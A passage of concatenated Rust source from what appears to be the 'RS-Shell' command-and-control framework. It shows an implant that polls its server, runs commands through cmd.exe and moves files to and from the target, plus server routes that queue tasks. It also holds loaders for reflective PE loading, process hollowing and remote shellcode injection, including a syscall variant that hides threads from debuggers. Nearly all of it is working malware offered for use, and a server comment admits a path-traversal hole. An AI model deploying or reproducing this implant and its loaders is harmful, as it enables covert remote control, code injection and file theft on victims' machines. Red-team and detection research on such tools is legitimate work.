| FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, null_mut(), ); if dw_error == ERROR_INTERNET_FORCE_RETRY { log::debug!("Force retry error: {}", io::Error::last_os_error()); continue; } else { break; } } let mut buffer = [0; 1024]; let mut vec_output = Vec::new(); let mut read_size = 0; while InternetReadFile( h_request, buffer.as_mut_ptr() as *mut _, buffer.len() as u32, &mut read_size, ) != 0 && read_size > 0 { vec_output.extend_from_slice(&buffer[..read_size as usize]); read_size = 0; } InternetCloseHandle(h_request); Ok(vec_output) } } fn do_stuff(cmd: &str) -> Vec { let exec = Command::new("cmd.exe").args(&["/c", cmd]).output().unwrap(); let stdo = exec.stdout.as_slice(); let _stdr = exec.stderr.as_slice(); if _stdr.len() == 0 { return stdo.to_vec(); } else { return _stdr.to_vec(); } } pub fn implant(ip: &str) -> Result<(), Box> { // Usefull for proxy authentication if proxy and credentials are already known /*let proxy = "http://proxyserver:8080"; let username = "username"; let password = "password";*/ let index_url = "/rs-shell/index"; match init_session(ip, index_url) { Ok((h_internet, h_connect)) => { log::debug!("Session initialized"); let os = std::env::consts::FAMILY; unsafe { make_request( h_connect, "/rs-shell/os", "POST", os.as_ptr() as *mut c_void, os.len() as u32, false, ) .expect("Error sending OS family"); } loop { match unsafe { make_request( h_connect, "/rs-shell/next_task", "GET", null_mut(), 0, false, ) } { Ok(response) => { log::debug!( "Task: {:?}", String::from_utf8_lossy(response.as_slice()) .trim() .trim_start_matches('\u{feff}') ); // Needed to avoid borrowing error on freed value let res = String::from_utf8_lossy(response.as_slice()) .trim() .trim_start_matches('\u{feff}') .to_string(); let (cmd, value) = match res.split_once(':') { Some((cmd, value)) => (cmd, value), None => (res.as_str(), ""), }; match cmd { "cmd" => { let mut res_cmd = do_stuff(value); log::debug!("{:?}", String::from_utf8_lossy(res_cmd.as_slice())); match unsafe { make_request( h_connect, "/rs-shell/receive_output", "POST", res_cmd.as_mut_ptr() as *mut c_void, res_cmd.len() as u32, false, ) } { Ok(_) => log::debug!("Command executed"), Err(e) => log::debug!("Error: {}", e), } } "load" | "load -h" | "load -s" => { if cmd == "load -h" { let path: Vec<&str> = value.split(" ").collect(); log::debug!("Loading the PE {} into the process {} with process hollowing", path[0], path[1]); match call_loader_pe(path[0], path[1], 0) { Ok(_) => log::debug!("PE loaded"), Err(e) => log::debug!( "Error loading PE in the remote process: {}", e ), } } else if cmd == "load -s" { let path: Vec<&str> = value.split(" ").collect(); log::debug!( "Loading the shellcode {} into the {} process memory", path[0], path[1] ); match unsafe { make_request( h_connect, ("/rs-shell/shellcode".to_owned() + path[0]).as_str(), "GET", null_mut(), 0, false, ) } { Ok(response) => { //let shellcode = response.as_slice(); match call_loader_shellcode(response, path[1], 1) { Ok(_) => log::debug!("Shellcode loaded"), Err(e) => { log::debug!("Error loading shellcode: {}", e) } } } Err(e) => log::debug!("Error: {}", e), } } else { log::debug!("Loading the PE {} into the implant memory", value); match call_loader_pe(value, "", 2) { Ok(_) => log::debug!("PE loaded"), Err(e) => log::debug!("Error loading PE: {}", e), } } } "syscalls" | "syscalls -h" | "syscalls -s" => { if cmd == "syscalls -h" { let path: Vec<&str> = value.split(" ").collect(); log::debug!("Loading the PE {} into the process {} with process hollowing", path[0], path[1]); match call_loader_pe(path[0], path[1], 1) { Ok(_) => log::debug!("PE loaded"), Err(e) => log::debug!( "Error loading PE in the remote process: {}", e ), } } else if cmd == "syscalls -s" { let path: Vec<&str> = value.split(" ").collect(); log::debug!( "Loading the shellcode into a remote process memory" ); match unsafe { make_request( h_connect, ("/rs-shell/shellcode".to_owned() + path[0]).as_str(), "GET", null_mut(), 0, false, ) } { Ok(response) => { let shellcode = response.as_slice(); match call_loader_shellcode( shellcode.to_vec(), path[1], 0, ) { Ok(_) => log::debug!("Shellcode loaded"), Err(e) => { log::debug!("Error loading shellcode: {}", e) } } } Err(e) => log::debug!("Error: {}", e), } } else { log::debug!("Loading the PE {} into the implant memory", value); match call_loader_pe(value, "", 3) { Ok(_) => log::debug!("PE loaded"), Err(e) => log::debug!("Error loading PE: {}", e), } } } "upload" => { let path = Path::new(value.trim()); log::debug!( "Uploading...{}", path.file_name().unwrap().to_str().unwrap() ); match unsafe { make_request( h_connect, ("/rs-shell/upload".to_owned() + value).as_str(), "GET", null_mut(), 0, false, ) } { Ok(response) => { File::create(path.file_name().unwrap().to_str().unwrap()) .unwrap() .write_all(response.as_slice())?; } Err(e) => log::debug!("Error: {}", e), } } "download" => { let path = Path::new(value.trim()); log::debug!( "Downloading...{}", path.file_name().unwrap().to_str().unwrap() ); match File::open(path) { Ok(file) => { let mut reader = BufReader::new(file); let mut buffer = Vec::new(); reader .read_to_end(&mut buffer) .expect("Error reading file"); // Let's build the multipart form data for big files let begin_multipart = String::from("-----------------------------345495480920487783503652546823\r\nContent-Disposition: form-data; name=\"file\"; filename=\"".to_owned() + path.file_name().unwrap().to_str().unwrap() + "\"\r\nContent-Type: text/plain\r\n\r\n"); let end_multipart = String::from("\r\n-----------------------------345495480920487783503652546823--\r\n"); buffer.splice( 0..0, begin_multipart.as_bytes().iter().cloned(), ); buffer.extend(end_multipart.as_bytes()); match unsafe { make_request( h_connect, "/", "POST", buffer.as_mut_ptr() as *mut c_void, buffer.len() as u32, true, ) } { Ok(response) => log::debug!( "{}", String::from_utf8_lossy(response.as_slice()) ), Err(e) => log::debug!("Error: {}", e), } } Err(e) => log::debug!("Error: {}", e), } } "No task" => { log::debug!("No task"); } "exit" | "quit" => { log::debug!("Exiting..."); unsafe { InternetCloseHandle(h_connect); InternetCloseHandle(h_internet); } break; } _ => log::debug!("Unknown command"), } } Err(e) => { log::debug!("Error obtaining new task: {}. Trying to reinit the session from the begining.", e); implant(ip)?; } } // For the moment the implant sleeps 2 seconds between each request, could be interesting to randomize this value // Or setup an option to change it via the CLI thread::sleep(time::Duration::from_secs(2)); } } Err(e) => { log::debug!("RS-Shell server cannot be reached: {}", e); return Err(Box::new(e)); } } Ok(()) } ================================================ FILE: src/https/routes.rs ================================================ use actix_files::NamedFile; use actix_multipart::form::{MultipartForm, tempfile::TempFile}; use actix_web::web::Bytes; use actix_web::{HttpRequest, HttpResponse, Responder, web}; use std::collections::VecDeque; use std::fs::File; use std::io::Write; use std::path::PathBuf; use std::sync::Arc; use tokio::sync::{Mutex, Notify}; pub async fn index(_req: HttpRequest) -> impl Responder { r#" ____ _____ _____ __ ____ / __ \/ ___/ / ___// /_ ___ / / / / /_/ /\__ \______\__ \/ __ \/ _ \/ / / / _, _/___/ /_____/__/ / / / / __/ / / /_/ |_|/____/ /____/_/ /_/\___/_/_/ in Rust with love by BlackWasp @BlWasp_ "# .to_string() } pub struct AppState { task_queue: Mutex>, output: Mutex>, output_ready: Notify, } impl AppState { pub fn new() -> Self { Self { task_queue: Mutex::new(VecDeque::new()), output: Mutex::new(None), output_ready: Notify::new(), } } } pub async fn implant_os(bytes: Bytes) -> impl Responder { let os = String::from_utf8_lossy(bytes.to_vec().as_slice()) .parse::() .unwrap(); log::debug!("OS: {}", os); let mut file = File::create("os.txt").expect("[-] Create os file failed"); file.write_all(os.as_bytes()) .expect("[-] Write os file failed"); // When a new implant connects, all previous outputs are deleted match std::fs::remove_file("output.txt") { Ok(_) => (), Err(_) => (), } HttpResponse::Ok().body("OS written to file") } // Consumer : get a task from the queue pub async fn next_task(state: web::Data>) -> HttpResponse { let mut queue = state.task_queue.lock().await; match queue.pop_front() { Some(task) => HttpResponse::Ok().body(task), None => HttpResponse::Ok().body("No task"), } } // Similar to upload, this function only exists to make the code clearer pub async fn shellcode(_req: HttpRequest) -> actix_web::Result { let path: PathBuf = _req.match_info().query("shellcode").parse().unwrap(); log::debug!("Path: {:?}", path); Ok(NamedFile::open(path)?) } /* 'upload' is used to upload files on the target machine (not on the server), and 'download' is used to download files from the target machine Upload uses GET and download uses POST because in fact, during upload the implant writes the file on its machine, so it "GETS" the file from the server While during download, the implant reads the file from its machine and sends it to us, so it "POSTS" the file This code implies a potential security risk with path traversal, as the filename is not restricted */ pub async fn upload(_req: HttpRequest) -> actix_web::Result { let path: PathBuf = _req.match_info().query("filename").parse().unwrap(); log::debug!("Path: {:?}", path); Ok(NamedFile::open(path)?) } #[derive(Debug, MultipartForm)] pub struct UploadForm { #[multipart(rename = "file")] files: Vec, } pub async fn download(MultipartForm(form): MultipartForm) -> impl Responder { let mut filename = String::new(); println!("Files: {:?}", form.files); for f in form.files { let path = format!("./downloads/{}", f.file_name.clone().unwrap()); log::debug!("saving to {path}"); f.file.persist(path).unwrap(); filename = f.file_name.unwrap(); } HttpResponse::Ok().body(format!("File {} downloaded", filename)) } // Productor : add a task to the queue pub async fn operator_cmd(state: web::Data>, bytes: Bytes) -> HttpResponse { let body = String::from_utf8_lossy(&bytes) .trim_end_matches("\r\n\0") .to_string(); let mut queue = state.task_queue.lock().await; queue.push_back(body); HttpResponse::Ok().body("Task queued") } // Consumer : wait for the output to be ready, then get it and delete it from the state pub async fn wait_for_output(state: web::Data>) -> HttpResponse { loop { // Check if the output is ready, if yes return it and delete it from the state { let mut output = state.output.lock().await; if let Some(data) = output.take() { log::debug!("Returning output: {}", data); return HttpResponse::Ok().body(data); } } // Release the lock before waiting for the notification // Wait for the implant to notify that the output is ready state.output_ready.notified().await; } } // Output received from the implant, save it in the state and notify the waiting consumer pub async fn receive_output(state: web::Data>, bytes: Bytes) -> HttpResponse { let body = String::from_utf8_lossy(&bytes).to_string(); log::debug!("Output received: {}", body); let mut output = state.output.lock().await; *output = Some(body); state.output_ready.notify_one(); HttpResponse::Ok().finish() } ================================================ FILE: src/loader.rs ================================================ #![cfg(target_family = "windows")] use crate::utils::structures::{ IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR, IMAGE_SECTION_HEADER, MY_IMAGE_BASE_RELOCATION, MY_IMAGE_THUNK_DATA64, }; use crate::utils::tools_windows::*; use std::error::Error; use std::ffi::c_void; use std::mem::transmute; use ntapi::ntmmapi::NtUnmapViewOfSection; use ntapi::winapi::um::winnt::CONTEXT_INTEGER; use windows_sys::Wdk::System::Threading::{NtQueryInformationProcess, PROCESSINFOCLASS}; use windows_sys::Win32::Foundation::{CloseHandle, GetLastError}; use windows_sys::Win32::System::Diagnostics::Debug::{ GetThreadContext, ReadProcessMemory, SetThreadContext, WriteProcessMemory, }; use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA}; use windows_sys::Win32::System::Memory::{ VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtectEx, }; use windows_sys::Win32::System::Threading::{ CreateProcessA, CreateRemoteThread, CreateThread, GetCurrentProcess, ResumeThread, WaitForSingleObject, PROCESS_BASIC_INFORMATION, STARTUPINFOA, }; pub fn reflective_loader(buf: Vec) -> Result<(), Box> { //Retrieve the sizes of the headers and the PE image in memory let header_s = get_size(&buf, "header"); let img_s = get_size(&buf, "image"); if header_s == 0 || img_s == 0 { return Err("Error retrieving PE sizes".into()); } unsafe { let base = VirtualAlloc(std::ptr::null_mut(), img_s, 0x1000, 0x04); //Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header) WriteProcessMemory( GetCurrentProcess(), base, buf.as_ptr() as *const c_void, header_s, std::ptr::null_mut(), ); let mut dos_head = IMAGE_DOS_HEADER::default(); fill_structure_from_array(&mut dos_head, &buf, false); log::debug!("DOS magic header : {:x?}", dos_head.e_magic); log::debug!( "Elfa new (address of the begining of the PE): {:x?}", dos_head.e_lfanew ); //Retrieve the NT headers starting at the elfa new address let mut nt_head = IMAGE_nt_headS64::default(); fill_structure_from_memory( &mut nt_head, (base as isize + dos_head.e_lfanew as isize) as *const c_void, GetCurrentProcess(), false, ); log::debug!("NT headers : {:#x?}", nt_head); //Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory let mut sections: Vec = vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize]; for i in 0..sections.len() { fill_structure_from_memory( &mut sections[i], (base as usize + dos_head.e_lfanew as usize + std::mem::size_of_val(&nt_head) as usize + (i * std::mem::size_of::() as usize)) as *const c_void, GetCurrentProcess(), false, ); log::debug!( "Virtual addresses of sections {} is {:#x?}", string_from_array(&mut sections[i].Name.to_vec()), sections[i].VirtualAddress ); //Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize) //Write it into memory at the addr base+VA let tmp: Vec = buf[sections[i].PointerToRawData as usize ..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)] .to_vec(); WriteProcessMemory( GetCurrentProcess(), (base as usize + sections[i].VirtualAddress as usize) as *mut c_void, tmp.as_ptr() as *const c_void, tmp.len(), std::ptr::null_mut(), ); } //Retrieve the imports and fix them log::debug!("{:?}", nt_head.OptionalHeader); if nt_head.OptionalHeader.ImportTable.Size > 0 { //Data addr before loading in memory let mut origin_first_thunk = base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize; loop { //Data structure of the imported DLL let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default(); fill_structure_from_memory( &mut image_descriptor, origin_first_thunk as *const c_void, GetCurrentProcess(), false, ); if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 { log::debug!("No more import"); break; } else { //Retrieve the DLL name and load it by retrieving the name at this address pointed by Name let import_name = read_from_memory( (base as usize + image_descriptor.Name as usize) as *const c_void, GetCurrentProcess(), false, ); let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8); log::debug!("Import DLL name : {}", import_name); //Get pointer of the first thunk of data containing the data of the first imported function let mut thunk_ptr = base as usize + image_descriptor.Characteristics_or_OriginalFirstThunk as usize; let mut i = 0; //Parse each thunk one by one to retrieve all the imported functions loop { let mut thunk_data = MY_IMAGE_THUNK_DATA64::default(); fill_structure_from_memory( &mut thunk_data, (thunk_ptr as usize) as *const c_void, GetCurrentProcess(), false, ); log::debug!("{:?}", thunk_data); if thunk_data.Address == [0; 8] && u64::from_ne_bytes(thunk_data.Address.try_into().unwrap()) < 0x8000000000000000 { log::debug!("No more data"); break; } else { //For each function, retrieve its name and its addr in memory let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap()); let function_name = read_from_memory( (base as usize + offset as usize + 2) as *const c_void, GetCurrentProcess(), false, ); log::debug!("Function : {}", function_name); let function_addr = i64::to_ne_bytes( GetProcAddress( load_dll, function_name.as_bytes().as_ptr() as *const u8, ) .unwrap() as i64, ); //Write the function and its data in memory at its addr WriteProcessMemory( GetCurrentProcess(), ((base as usize + image_descriptor.FirstThunk as usize) + i * 8) as *mut c_void, function_addr.as_ptr() as *const c_void, function_addr.len(), std::ptr::null_mut(), ); i += 1; thunk_ptr += 8; } } origin_first_thunk += std::mem::size_of::(); } } } //Fix base relocations in case of hardcoded values if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 { //Calculate the delta and retrieve the first relocation ptr let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize; let mut first_reloc_ptr = base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize; loop { //Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size) let mut reloc = MY_IMAGE_BASE_RELOCATION::default(); fill_structure_from_memory( &mut reloc, first_reloc_ptr as *const c_void, GetCurrentProcess(), false, ); if reloc.SizeofBlock == 0 { log::debug!("No more relocation"); break; } else { log::debug!("Size of block : {:x?}", reloc.SizeofBlock); log::debug!("Virtual addr : {:x?}", reloc.VirtualAddress); //For each each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA let entries = (reloc.SizeofBlock - 8) / 2; log::debug!("Entries : {:x?}", entries); for i in 0..entries { let mut offset_from_page: [u8; 2] = [0; 2]; ReadProcessMemory( GetCurrentProcess(), (first_reloc_ptr + 8 + (i * 2) as usize) as *const c_void, offset_from_page.as_mut_ptr() as *mut c_void, 2, std::ptr::null_mut(), ); log::debug!("Offset : {:x?}", offset_from_page); let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap()); //println!("{:x?}",temp&0x0fff); if (temp >> 12) == 0xA { //Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset // 1&0=0 0&0=0 let block_reloc_rva = base as usize + reloc.VirtualAddress as usize + (temp & 0x0fff) as usize; //Read the hardcoded values at the entry addr and translate to obtain the fixed addr let mut harcoded_value: [u8; 8] = [0; 8]; ReadProcessMemory( GetCurrentProcess(), block_reloc_rva as *const c_void, harcoded_value.as_mut_ptr() as *mut c_void, 8, std::ptr::null_mut(), ); log::debug!("Harcoded value at RVA : {:x?}", harcoded_value); let fixe_addr = isize::from_ne_bytes(harcoded_value.try_into().unwrap()) + delta as isize; log::debug!("{:x?}", fixe_addr); //Write into memory WriteProcessMemory( GetCurrentProcess(), block_reloc_rva as *mut c_void, fixe_addr.to_ne_bytes().as_ptr() as *const c_void, 8, std::ptr::null_mut(), ); } } } first_reloc_ptr += reloc.SizeofBlock as usize; } } //Change the Read/Write memory access to Read/Write/Execute let mut oldprotect = 0; VirtualProtectEx(GetCurrentProcess(), base, img_s, 0x40, &mut oldprotect); let thread = CreateThread( std::ptr::null_mut(), 0, Some(transmute( (base as usize + nt_head.OptionalHeader.AddressOfEntryPoint as usize) as *mut c_void, )), std::ptr::null_mut(), 0, std::ptr::null_mut(), ); WaitForSingleObject(thread, 10000); VirtualFree(base, 0, 0x00008000); } Ok(()) } fn get_destination_base_addr(prochandle: *mut c_void) -> usize { unsafe { let mut process_information: PROCESS_BASIC_INFORMATION = std::mem::zeroed(); let process_information_class = PROCESSINFOCLASS::default(); let mut return_l = 0; NtQueryInformationProcess( prochandle, process_information_class, &mut process_information as *mut _ as *mut c_void, std::mem::size_of::() as u32, &mut return_l, ); let peb_image_offset = process_information.PebBaseAddress as u64 + 0x10; let mut image_base_buffer = [0; std::mem::size_of::<&u8>()]; ReadProcessMemory( prochandle, peb_image_offset as *const c_void, image_base_buffer.as_mut_ptr() as *mut c_void, image_base_buffer.len(), std::ptr::null_mut(), ); log::debug!( "Image Base Addr : {:x?}", usize::from_ne_bytes(image_base_buffer) ); return usize::from_ne_bytes(image_base_buffer); } } pub fn remote_loader(buf: Vec, pe_to_execute: &str) -> Result<(), Box> { //Retrieve the sizes of the headers and the PE image in memory let header_s = get_size(&buf, "header"); let img_s = get_size(&buf, "image"); if header_s == 0 || img_s == 0 { return Err("Error retrieving PE sizes".into()); } unsafe { let pe_to_execute = pe_to_execute.trim().to_owned() + "\0"; let mut lp_startup_info: STARTUPINFOA = std::mem::zeroed(); let mut lp_process_information: windows_sys::Win32::System::Threading::PROCESS_INFORMATION = std::mem::zeroed(); CreateProcessA( pe_to_execute.as_ptr() as *const u8, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), 0, 0x00000004, std::ptr::null_mut(), std::ptr::null_mut(), &mut lp_startup_info as *mut STARTUPINFOA, &mut lp_process_information as *mut windows_sys::Win32::System::Threading::PROCESS_INFORMATION, ); if GetLastError() != 0 { log::debug!("{}", GetLastError()); return Err(GetLastError().to_string().into()); } let mut remote_base = get_destination_base_addr(lp_process_information.hProcess) as *mut c_void; let prochandle = lp_process_information.hProcess; let threadhandle = lp_process_information.hThread; //Set the memory access to Read/Write for the moment to avoid suspicious rwx let base = VirtualAlloc(std::ptr::null_mut(), img_s, 0x1000, 0x04); NtUnmapViewOfSection( prochandle as *mut ntapi::winapi::ctypes::c_void, remote_base as *mut ntapi::winapi::ctypes::c_void, ); remote_base = VirtualAllocEx(prochandle, remote_base, img_s, 0x1000 + 0x2000, 0x04); //Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header) WriteProcessMemory( prochandle, remote_base, buf.as_ptr() as *const c_void, header_s, std::ptr::null_mut(), ); //Parsing locally std::ptr::copy(buf.as_ptr() as *const u8, base as *mut u8, header_s); let mut dos_head = IMAGE_DOS_HEADER::default(); fill_structure_from_memory(&mut dos_head, base, GetCurrentProcess(), false); log::debug!("DOS magic header : {:x?}", dos_head.e_magic); log::debug!( "Elfa new (address of the begining of the PE): {:x?}", dos_head.e_lfanew ); //Retrieve the NT headers starting at the elfa new address let mut nt_head: IMAGE_nt_headS64 = IMAGE_nt_headS64::default(); fill_structure_from_memory( &mut nt_head, (base as isize + dos_head.e_lfanew as isize) as *const c_void, GetCurrentProcess(), false, ); log::debug!("NT headers : {:#x?}", nt_head); //Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory let mut sections: Vec = vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize]; for i in 0..sections.len() { fill_structure_from_memory( &mut sections[i], (base as usize + dos_head.e_lfanew as usize + std::mem::size_of_val(&nt_head) as usize + (i * std::mem::size_of::() as usize)) as *const c_void, GetCurrentProcess(), false, ); log::debug!( "Virtual addresses of sections {} is {:#x?}", string_from_array(&mut sections[i].Name.to_vec()), sections[i].VirtualAddress ); //Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize) //Write it into memory at the addr base+VA let tmp: Vec = buf[sections[i].PointerToRawData as usize ..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)] .to_vec(); WriteProcessMemory( GetCurrentProcess(), (base as usize + sections[i].VirtualAddress as usize) as *mut c_void, tmp.as_ptr() as *const c_void, sections[i].SizeOfRawData as usize, std::ptr::null_mut(), ); WriteProcessMemory( prochandle, (remote_base as usize + sections[i].VirtualAddress as usize) as *mut c_void, tmp.as_ptr() as *const c_void, sections[i].SizeOfRawData as usize, std::ptr::null_mut(), ); } //Retrieve the imports and fix them log::debug!("{:?}", nt_head.OptionalHeader); if nt_head.OptionalHeader.ImportTable.Size > 0 { //Data addr before loading in memory let mut origin_first_thunk = base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize; loop { //Data structure of the imported DLL let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default(); fill_structure_from_memory( &mut image_descriptor, origin_first_thunk as *const c_void, GetCurrentProcess(), false, ); if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 { log::debug!("No more import"); break; } else { //Retrieve the DLL name and load it by retrieving the name at this address pointed by Name let import_name = read_from_memory( (base as usize + image_descriptor.Name as usize) as *const c_void, GetCurrentProcess(), false, ); let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8); log::debug!("Import DLL name : {}", import_name); //Get pointer of the first thunk of data containing the data of the first imported function let mut thunk_ptr = base as usize + image_descriptor.Characteristics_or_OriginalFirstThunk as usize; let mut i = 0; //Parse each thunk one by one to retrieve all the imported functions loop { let mut thunk_data = MY_IMAGE_THUNK_DATA64::default(); fill_structure_from_memory( &mut thunk_data, (thunk_ptr as usize) as *const c_void, GetCurrentProcess(), false, ); log::debug!("{:x?}", thunk_data); if thunk_data.Address == [0; 8] && u64::from_ne_bytes(thunk_data.Address.try_into().unwrap()) < 0x8000000000000000 { log::debug!("No more data"); break; } else { //For each function, retrieve its name and its addr in memory let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap()); let function_name = read_from_memory( (base as usize + offset as usize + 2) as *const c_void, GetCurrentProcess(), false, ); log::debug!("Function : {}", function_name); let function_addr = i64::to_ne_bytes( GetProcAddress( load_dll, function_name.as_bytes().as_ptr() as *const u8, ) .unwrap() as i64, ); //Write the function and its data in memory at its addr WriteProcessMemory( GetCurrentProcess(), ((base as usize + image_descriptor.FirstThunk as usize) + i * 8) as *mut c_void, function_addr.as_ptr() as *const c_void, function_addr.len(), std::ptr::null_mut(), ); WriteProcessMemory( prochandle, ((remote_base as usize + image_descriptor.FirstThunk as usize) + i * 8) as *mut c_void, function_addr.as_ptr() as *const c_void, function_addr.len(), std::ptr::null_mut(), ); i += 1; thunk_ptr += 8; } } origin_first_thunk += std::mem::size_of::(); } } } //Fix base relocations in case of hardcoded values if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 { //Calculate the delta and retrieve the first relocation ptr let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize; let mut first_reloc_ptr = base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize; loop { //Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size) let mut reloc = MY_IMAGE_BASE_RELOCATION::default(); fill_structure_from_memory( &mut reloc, first_reloc_ptr as *const c_void, GetCurrentProcess(), false, ); if reloc.SizeofBlock == 0 { log::debug!("No more relocation"); break; } else { log::debug!("Size of block : {:x?}", reloc.SizeofBlock); log::debug!("Virtual addr : {:x?}", reloc.VirtualAddress); //For each each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA let entries = (reloc.SizeofBlock - 8) / 2; log::debug!("Entries : {:x?}", entries); for i in 0..entries { let mut offset_from_page: [u8; 2] = [0; 2]; ReadProcessMemory( GetCurrentProcess(), (first_reloc_ptr + 8 + (i * 2) as usize) as *const c_void, offset_from_page.as_mut_ptr() as *mut c_void, 2, std::ptr::null_mut(), ); log::debug!("Offset : {:x?}", offset_from_page); let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap()); //println!("{:x?}", temp & 0x0fff); if (temp >> 12) == 0xA { //Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset // 1&0=0 0&0=0 let block_reloc_rva = base as usize + reloc.VirtualAddress as usize + (temp & 0x0fff) as usize; //Read the hardcoded values at the entry addr and translate to obtain the fixed addr let mut harcoded_value: [u8; 8] = [0; 8]; ReadProcessMemory( GetCurrentProcess(), block_reloc_rva as *const c_void, harcoded_value.as_mut_ptr() as *mut c_void, 8, std::ptr::null_mut(), ); log::debug!("Harcoded value at RVA : {:x?}", harcoded_value); let fixe_addr = isize::from_ne_bytes(harcoded_value.try_into().unwrap()) + delta as isize; log::debug!("{:x?}", fixe_addr); //Write into memory WriteProcessMemory( prochandle, block_reloc_rva as *mut c_void, fixe_addr.to_ne_bytes().as_ptr() as *const c_void, 8, std::ptr::null_mut(), ); } } } first_reloc_ptr += reloc.SizeofBlock as usize; } } //Change the Read/Write memory access to Write/Execute let mut oldprotect = 0; VirtualProtectEx(prochandle, remote_base, img_s, 0x80, &mut oldprotect); let mut ctx = std::mem::zeroed::(); ctx.ContextFlags = CONTEXT_INTEGER; GetThreadContext(threadhandle, &mut ctx); ctx.Rcx = remote_base as u64 + nt_head.OptionalHeader.AddressOfEntryPoint as u64; SetThreadContext(threadhandle, &mut ctx); VirtualFree(base, 0, 0x00004000); ResumeThread(threadhandle); CloseHandle(prochandle); } Ok(()) } pub fn shellcode_loader(shellcode: Vec, pe_to_execute: &str) -> Result<(), Box> { let pe_to_execute = pe_to_execute.trim().to_owned() + "\0"; unsafe { let mut lp_startup_info: STARTUPINFOA = std::mem::zeroed(); let mut lp_process_information: windows_sys::Win32::System::Threading::PROCESS_INFORMATION = std::mem::zeroed(); CreateProcessA( pe_to_execute.as_ptr() as *const u8, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), 0, 0x08000000, //No window std::ptr::null_mut(), std::ptr::null_mut(), &mut lp_startup_info, &mut lp_process_information, ); if GetLastError() == 0 { let base = VirtualAllocEx( lp_process_information.hProcess, std::ptr::null_mut(), shellcode.len(), 0x00001000, 0x04, ); WriteProcessMemory( lp_process_information.hProcess, base, shellcode.as_ptr() as *const c_void, shellcode.len(), 0 as *mut usize, ); let mut oldprotect = 0; VirtualProtectEx( lp_process_information.hProcess, base, shellcode.len(), 0x20, &mut oldprotect, ); CreateRemoteThread( lp_process_information.hProcess, std::ptr::null_mut(), 0, Some(transmute(base)), std::ptr::null_mut(), 0, std::ptr::null_mut(), ); CloseHandle(lp_process_information.hProcess); } else { log::debug!("{}", GetLastError()); return Err(GetLastError().to_string().into()); } } Ok(()) } ================================================ FILE: src/loader_syscalls.rs ================================================ #![cfg(target_family = "windows")] use crate::utils::structures::{ IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_IMPORT_DESCRIPTOR, IMAGE_SECTION_HEADER, MY_IMAGE_BASE_RELOCATION, MY_IMAGE_THUNK_DATA64, }; use crate::utils::tools_windows::*; use std::error::Error; use std::ffi::{c_ulong, c_void}; use std::iter::once; use ntapi::ntpsapi::{ PsCreateInitialState, PPS_ATTRIBUTE_LIST, PROCESSINFOCLASS, PROCESS_BASIC_INFORMATION, PS_ATTRIBUTE_IMAGE_NAME, PS_ATTRIBUTE_LIST, PS_CREATE_INFO, THREAD_CREATE_FLAGS_CREATE_SUSPENDED, THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, }; use ntapi::ntrtl::{ RtlAllocateHeap, RtlCreateProcessParametersEx, RtlDestroyProcessParameters, RtlFreeHeap, RtlInitUnicodeString, RtlProcessHeap, PRTL_USER_PROCESS_PARAMETERS, RTL_USER_PROC_PARAMS_NORMALIZED, }; use winapi::shared::ntdef::{ HANDLE, NTSTATUS, NT_SUCCESS, NULL, OBJECT_ATTRIBUTES, UNICODE_STRING, }; use winapi::um::winnt::{ CONTEXT_INTEGER, HEAP_ZERO_MEMORY, LARGE_INTEGER, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, }; use syscalls::syscall; use windows_sys::Win32::Foundation::CloseHandle; use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA}; use windows_sys::Win32::System::Memory::{VirtualFree, PAGE_EXECUTE_READWRITE}; use windows_sys::Win32::System::Threading::GetCurrentProcess; pub fn reflective_loader_syscalls(buf: Vec) -> Result<(), Box> { //Retrieve the sizes of the headers and the PE image in memory let header_s = get_size(&buf, "header"); let mut img_s = get_size(&buf, "image"); if header_s == 0 || img_s == 0 { return Err("Error retrieving PE sizes".into()); } unsafe { let mut status: NTSTATUS; let mut base = NULL; status = syscall!( "NtAllocateVirtualMemory", GetCurrentProcess(), 